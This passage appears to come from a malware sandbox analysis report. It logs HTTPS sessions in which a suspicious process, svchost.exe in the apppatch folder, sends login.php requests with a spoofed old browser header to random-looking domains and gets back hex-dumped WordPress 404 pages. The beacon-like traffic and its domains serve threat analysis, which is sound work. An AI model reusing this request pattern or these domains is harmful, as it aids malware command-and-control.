                                                                                                                                                                                                                    2024-11-11 17:48:50 UTC1369INData Raw: 7d 29 2e 63 6f 6e 63 61 74 65 6d 6f 6a 69 3f 74 28 65 2e 63 6f 6e 63 61 74 65 6d 6f 6a 69 29 3a 65 2e 77 70 65 6d 6f 6a 69 26 26 65 2e 74 77 65 6d 6f 6a 69 26 26 28 74 28 65 2e 74 77 65 6d 6f 6a 69 29 2c 74 28 65 2e 77 70 65 6d 6f 6a 69 29 29 29 7d 29 29 7d 28 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 2c 77 69 6e 64 6f 77 2e 5f 77 70 65 6d 6f 6a 69 53 65 74 74 69 6e 67 73 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 61 73 74 72 61 2d 74 68 65 6d 65 2d 63 73 73 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 71 65 67 79 68 69 67 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 61 73 74 72 61 2f 61 73 73 65 74 73 2f 63 73 73 2f 6d 69 6e 69 66
                                                                                                                                                                                                                    Data Ascii: }).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);</script><link rel='stylesheet' id='astra-theme-css-css' href='https://qegyhig.com/wp-content/themes/astra/assets/css/minif
                                                                                                                                                                                                                    2024-11-11 17:48:50 UTC1369INData Raw: 2e 73 69 74 65 2d 64 65 73 63 72 69 70 74 69 6f 6e 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 39 33 37 35 72 65 6d 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 7d 2e 65 6e 74 72 79 2d 74 69 74 6c 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 36 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 36 32 35 72 65 6d 3b 7d 68 31 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 34 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 65 6d 3b 7d 68 32 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 32 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 72 65 6d 3b 66
                                                                                                                                                                                                                    Data Ascii: .site-description{font-size:15px;font-size:0.9375rem;display:none;}.entry-title{font-size:26px;font-size:1.625rem;}h1,.entry-content h1{font-size:40px;font-size:2.5rem;font-weight:600;line-height:1.4em;}h2,.entry-content h2{font-size:32px;font-size:2rem;f
                                                                                                                                                                                                                    2024-11-11 17:48:50 UTC1369INData Raw: 65 5d 3a 3a 2d 77 65 62 6b 69 74 2d 73 6c 69 64 65 72 2d 74 68 75 6d 62 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 7d 2e 73 69 74 65 2d 66 6f 6f 74 65 72 20 61 3a 68 6f 76 65 72 20 2b 20 2e 70 6f 73 74 2d 63 6f 75 6e 74 2c 2e 73 69 74 65 2d 66 6f 6f 74 65 72 20 61 3a 66 6f 63 75 73 20 2b 20 2e 70 6f 73 74 2d 63 6f 75 6e 74 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 64 31 30 34 30 34 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 7d 2e 73 69 6e 67 6c 65 20 2e 6e 61 76 2d 6c 69 6e 6b 73 20 2e 6e 61 76 2d 70 72 65 76 69 6f 75 73 2c 2e 73 69 6e 67 6c 65 20 2e 6e 61 76 2d 6c 69 6e 6b 73 20 2e 6e 61 76
                                                                                                                                                                                                                    Data Ascii: e]::-webkit-slider-thumb{border-color:#d10404;background-color:#d10404;box-shadow:none;}.site-footer a:hover + .post-count,.site-footer a:focus + .post-count{background:#d10404;border-color:#d10404;}.single .nav-links .nav-previous,.single .nav-links .nav
                                                                                                                                                                                                                    2024-11-11 17:48:50 UTC1369INData Raw: 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 69 66 62 2d 63 74 61 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 77 70 2d 62 6c 6f 63 6b 2d 75 61 67 62 2d 62 75 74 74 6f 6e 73 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 62 62 2d 6d 6f 64 75 6c 65 2d 63 6f 6e 74 65 6e 74 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 70 6f 73 74 2d 67 72 69 64 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 74 69 6d 65 6c 69 6e 65 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e
                                                                                                                                                                                                                    Data Ascii: content .uagb-ifb-cta a,.ast-single-post .entry-content .wp-block-uagb-buttons a,.ast-single-post .entry-content .uabb-module-content a,.ast-single-post .entry-content .uagb-post-grid a,.ast-single-post .entry-content .uagb-timeline a,.ast-single-post .en
                                                                                                                                                                                                                    2024-11-11 17:48:50 UTC1369INData Raw: 69 73 69 62 6c 65 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6a 73 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6d 69 6e 69 2d 63 61 72 74 2d 69 74 65 6d 20 61 2e 72 65 6d 6f 76 65 3a 66 6f 63 75 73 2d 76 69 73 69 62 6c 65 7b 6f 75 74 6c 69 6e 65 2d 73 74 79 6c 65 3a 64 6f 74 74 65 64 3b 6f 75 74 6c 69 6e 65 2d 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 6f 75 74 6c 69 6e 65 2d 77 69 64 74 68 3a 74 68 69 6e 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 7d 69 6e 70 75 74 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 74 65 78 74 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 65 6d 61 69 6c 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 75 72 6c 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b
                                                                                                                                                                                                                    Data Ascii: isible,.woocommerce-js .woocommerce-mini-cart-item a.remove:focus-visible{outline-style:dotted;outline-color:inherit;outline-width:thin;border-color:transparent;}input:focus,input[type="text"]:focus,input[type="email"]:focus,input[type="url"]:focus,input[
                                                                                                                                                                                                                    2024-11-11 17:48:50 UTC1369INData Raw: 6e 74 65 6e 74 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 45 64 69 74 41 63 63 6f 75 6e 74 46 6f 72 6d 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 66 6f 72 6d 2d 72 6f 77 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 49 6e 70 75 74 2e 69 6e 70 75 74 2d 74 65 78 74 3a 66 6f 63 75 73 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 20 2e 61 73 74 2d 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 70 61 67 69 6e 61 74 69 6f 6e 20 75 6c 2e 70 61 67 65 2d 6e 75 6d 62 65 72 73 20 6c 69 20 61 3a 66 6f 63 75 73 2c 62 6f 64 79 20 23 63 6f 6e 74 65 6e 74 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 20 66 6f 72 6d 20 2e 66 6f 72 6d 2d 72 6f 77 20 2e 73 65 6c 65 63 74 32 2d 63 6f 6e 74 61 69 6e 65 72 2d 2d 64 65 66 61 75 6c 74 20 2e
                                                                                                                                                                                                                    Data Ascii: ntent .woocommerce-EditAccountForm .woocommerce-form-row .woocommerce-Input.input-text:focus,.woocommerce .ast-woocommerce-container .woocommerce-pagination ul.page-numbers li a:focus,body #content .woocommerce form .form-row .select2-container--default .


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    7192.168.2.455721188.114.96.34437436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    2024-11-11 17:48:51 UTC267OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: qegyhig.com
                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                    2024-11-11 17:48:52 UTC945INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:52 GMT
                                                                                                                                                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                    vary: Accept-Encoding
                                                                                                                                                                                                                    expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                                                                                                                                    Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                                                                                                                                                    link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/"
                                                                                                                                                                                                                    cf-cache-status: DYNAMIC
                                                                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3uFZGaglTDCK9eG2Cw6Kz5SdD2QbaffUrUl5lafTaAmwME%2BZ1NMao3CYFQoibh4Jd3sEPZPm%2Fx33d7mfMFiXQqs7kYvEzFTonrbyU89M0eKpiBhXKsdCUjp6ChXzuw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                                                                    CF-RAY: 8e101d975bdb7c81-EWR
                                                                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1305&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2824&recv_bytes=881&delivery_rate=2039436&cwnd=251&unsent_bytes=0&cid=f6bdf99c24c2eb86&ts=815&x=0"
                                                                                                                                                                                                                    2024-11-11 17:48:52 UTC424INData Raw: 37 63 61 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 20 0a 09 20 3c 73 74 79 6c 65 3e 0d 0a 23 77 70 61 64 6d 69 6e 62 61 72 20 23 77 70 2d 61 64 6d 69 6e 2d 62 61 72 2d 77 63 63 70 5f 66 72 65 65 5f 74 6f 70 5f 62 75 74 74 6f 6e 20 2e
                                                                                                                                                                                                                    Data Ascii: 7cac<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="https://gmpg.org/xfn/11"> <style>#wpadminbar #wp-admin-bar-wccp_free_top_button .
                                                                                                                                                                                                                    2024-11-11 17:48:52 UTC1369INData Raw: 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 32 31 2e 33 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6e 5f 55 53 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79
                                                                                                                                                                                                                    Data Ascii: <meta name='robots' content='noindex, follow' />... This site is optimized with the Yoast SEO plugin v21.3 - https://yoast.com/wordpress/plugins/seo/ --><title>Page not found -</title><meta property="og:locale" content="en_US" /><meta property
                                                                                                                                                                                                                    2024-11-11 17:48:52 UTC1369INData Raw: 28 65 29 7b 74 72 79 7b 76 61 72 20 74 3d 7b 73 75 70 70 6f 72 74 54 65 73 74 73 3a 65 2c 74 69 6d 65 73 74 61 6d 70 3a 28 6e 65 77 20 44 61 74 65 29 2e 76 61 6c 75 65 4f 66 28 29 7d 3b 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 6f 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 74 2c 6e 29 7b 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2c 65 2e 66 69 6c 6c 54 65 78 74 28 74 2c 30 2c 30 29 3b 76 61 72 20 74 3d 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 65 2e 67 65 74 49 6d 61 67 65 44 61 74 61 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74
                                                                                                                                                                                                                    Data Ascii: (e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.widt
                                                                                                                                                                                                                    2024-11-11 17:48:52 UTC1369INData Raw: 79 70 65 6f 66 20 50 72 6f 6d 69 73 65 26 26 28 6f 3d 22 77 70 45 6d 6f 6a 69 53 65 74 74 69 6e 67 73 53 75 70 70 6f 72 74 73 22 2c 73 3d 5b 22 66 6c 61 67 22 2c 22 65 6d 6f 6a 69 22 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 3d 7b 65 76 65 72 79 74 68 69 6e 67 3a 21 30 2c 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3a 21 30 7d 2c 65 3d 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 65 2c 7b 6f 6e 63 65 3a 21 30 7d 29 7d 29 2c 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 20 65 3d 4a 53 4f 4e 2e 70 61 72 73 65 28
                                                                                                                                                                                                                    Data Ascii: ypeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.parse(
                                                                                                                                                                                                                    2024-11-11 17:48:52 UTC1369INData Raw: 65 6d 6f 6a 69 3f 74 28 65 2e 63 6f 6e 63 61 74 65 6d 6f 6a 69 29 3a 65 2e 77 70 65 6d 6f 6a 69 26 26 65 2e 74 77 65 6d 6f 6a 69 26 26 28 74 28 65 2e 74 77 65 6d 6f 6a 69 29 2c 74 28 65 2e 77 70 65 6d 6f 6a 69 29 29 29 7d 29 29 7d 28 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 2c 77 69 6e 64 6f 77 2e 5f 77 70 65 6d 6f 6a 69 53 65 74 74 69 6e 67 73 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 61 73 74 72 61 2d 74 68 65 6d 65 2d 63 73 73 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 71 65 67 79 68 69 67 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 61 73 74 72 61 2f 61 73 73 65 74 73 2f 63 73 73 2f 6d 69 6e 69 66 69 65 64 2f 6d 61 69 6e 2e
                                                                                                                                                                                                                    Data Ascii: emoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);</script><link rel='stylesheet' id='astra-theme-css-css' href='https://qegyhig.com/wp-content/themes/astra/assets/css/minified/main.
                                                                                                                                                                                                                    2024-11-11 17:48:52 UTC1369INData Raw: 63 72 69 70 74 69 6f 6e 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 39 33 37 35 72 65 6d 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 7d 2e 65 6e 74 72 79 2d 74 69 74 6c 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 36 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 36 32 35 72 65 6d 3b 7d 68 31 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 34 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 65 6d 3b 7d 68 32 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 32 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68
                                                                                                                                                                                                                    Data Ascii: cription{font-size:15px;font-size:0.9375rem;display:none;}.entry-title{font-size:26px;font-size:1.625rem;}h1,.entry-content h1{font-size:40px;font-size:2.5rem;font-weight:600;line-height:1.4em;}h2,.entry-content h2{font-size:32px;font-size:2rem;font-weigh
                                                                                                                                                                                                                    2024-11-11 17:48:52 UTC1369INData Raw: 69 74 2d 73 6c 69 64 65 72 2d 74 68 75 6d 62 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 7d 2e 73 69 74 65 2d 66 6f 6f 74 65 72 20 61 3a 68 6f 76 65 72 20 2b 20 2e 70 6f 73 74 2d 63 6f 75 6e 74 2c 2e 73 69 74 65 2d 66 6f 6f 74 65 72 20 61 3a 66 6f 63 75 73 20 2b 20 2e 70 6f 73 74 2d 63 6f 75 6e 74 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 64 31 30 34 30 34 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 7d 2e 73 69 6e 67 6c 65 20 2e 6e 61 76 2d 6c 69 6e 6b 73 20 2e 6e 61 76 2d 70 72 65 76 69 6f 75 73 2c 2e 73 69 6e 67 6c 65 20 2e 6e 61 76 2d 6c 69 6e 6b 73 20 2e 6e 61 76 2d 6e 65 78 74 7b 63 6f 6c
                                                                                                                                                                                                                    Data Ascii: it-slider-thumb{border-color:#d10404;background-color:#d10404;box-shadow:none;}.site-footer a:hover + .post-count,.site-footer a:focus + .post-count{background:#d10404;border-color:#d10404;}.single .nav-links .nav-previous,.single .nav-links .nav-next{col
                                                                                                                                                                                                                    2024-11-11 17:48:52 UTC1369INData Raw: 75 61 67 62 2d 69 66 62 2d 63 74 61 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 77 70 2d 62 6c 6f 63 6b 2d 75 61 67 62 2d 62 75 74 74 6f 6e 73 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 62 62 2d 6d 6f 64 75 6c 65 2d 63 6f 6e 74 65 6e 74 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 70 6f 73 74 2d 67 72 69 64 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 74 69 6d 65 6c 69 6e 65 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65
                                                                                                                                                                                                                    Data Ascii: uagb-ifb-cta a,.ast-single-post .entry-content .wp-block-uagb-buttons a,.ast-single-post .entry-content .uabb-module-content a,.ast-single-post .entry-content .uagb-post-grid a,.ast-single-post .entry-content .uagb-timeline a,.ast-single-post .entry-conte
                                                                                                                                                                                                                    2024-11-11 17:48:52 UTC1369INData Raw: 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6a 73 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6d 69 6e 69 2d 63 61 72 74 2d 69 74 65 6d 20 61 2e 72 65 6d 6f 76 65 3a 66 6f 63 75 73 2d 76 69 73 69 62 6c 65 7b 6f 75 74 6c 69 6e 65 2d 73 74 79 6c 65 3a 64 6f 74 74 65 64 3b 6f 75 74 6c 69 6e 65 2d 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 6f 75 74 6c 69 6e 65 2d 77 69 64 74 68 3a 74 68 69 6e 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 7d 69 6e 70 75 74 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 74 65 78 74 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 65 6d 61 69 6c 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 75 72 6c 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 70 61 73
                                                                                                                                                                                                                    Data Ascii: oocommerce-js .woocommerce-mini-cart-item a.remove:focus-visible{outline-style:dotted;outline-color:inherit;outline-width:thin;border-color:transparent;}input:focus,input[type="text"]:focus,input[type="email"]:focus,input[type="url"]:focus,input[type="pas


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    8192.168.2.455723188.114.97.34437436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    2024-11-11 17:48:53 UTC267OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: lysyvan.com
                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                    2024-11-11 17:48:55 UTC1086INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:55 GMT
                                                                                                                                                                                                                    Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                    vary: Accept-Encoding
                                                                                                                                                                                                                    expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                                                                                                                                    Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                                                                                                                                                    link: <https://lysyvan.com/wp-json/>; rel="https://api.w.org/"
                                                                                                                                                                                                                    server-timing: amp_sanitizer;dur="30.6",amp_style_sanitizer;dur="14.9",amp_tag_and_attribute_sanitizer;dur="11.7",amp_optimizer;dur="17.9"
                                                                                                                                                                                                                    cf-cache-status: DYNAMIC
                                                                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P05LdW15ofL5Nb3NX38MURGjLUGAas9J9puQUpQCE5BXyyoI9LQ%2BPNCDxMNDZLSRYakc5Ic%2BYMsGAa6w6BhY2rVj0xFT7aEJScmEHwiymbE9N4tWCpZXj39eEag1Eg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                                                                    CF-RAY: 8e101da3587d4374-EWR
                                                                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1165&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2826&recv_bytes=881&delivery_rate=2477331&cwnd=250&unsent_bytes=0&cid=932d5985f20c2e41&ts=1457&x=0"
                                                                                                                                                                                                                    2024-11-11 17:48:55 UTC283INData Raw: 37 63 32 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 64 61 74 61 2d 61 6d 70 2d 62 69 6e 64 2d 63 6c 61 73 73 3d 22 69 73 44 61 72 6b 20 3f 20 27 6e 65 76 65 2d 64 61 72 6b 2d 74 68 65 6d 65 27 20 3a 20 27 6e 65 76 65 2d 6c 69 67 68 74 2d 74 68 65 6d 65 27 22 20 63 6c 61 73 73 3d 22 6e 65 76 65 2d 64 61 72 6b 2d 74 68 65 6d 65 22 20 61 6d 70 3d 22 22 20 64 61 74 61 2d 61 6d 70 2d 61 75 74 6f 2d 6c 69 67 68 74 62 6f 78 2d 64 69 73 61 62 6c 65 20 74 72 61 6e 73 66 6f 72 6d 65 64 3d 22 73 65 6c 66 3b 76 3d 31 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 6e 6f 2d 62 6f 69 6c 65 72 70 6c 61 74 65 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 62
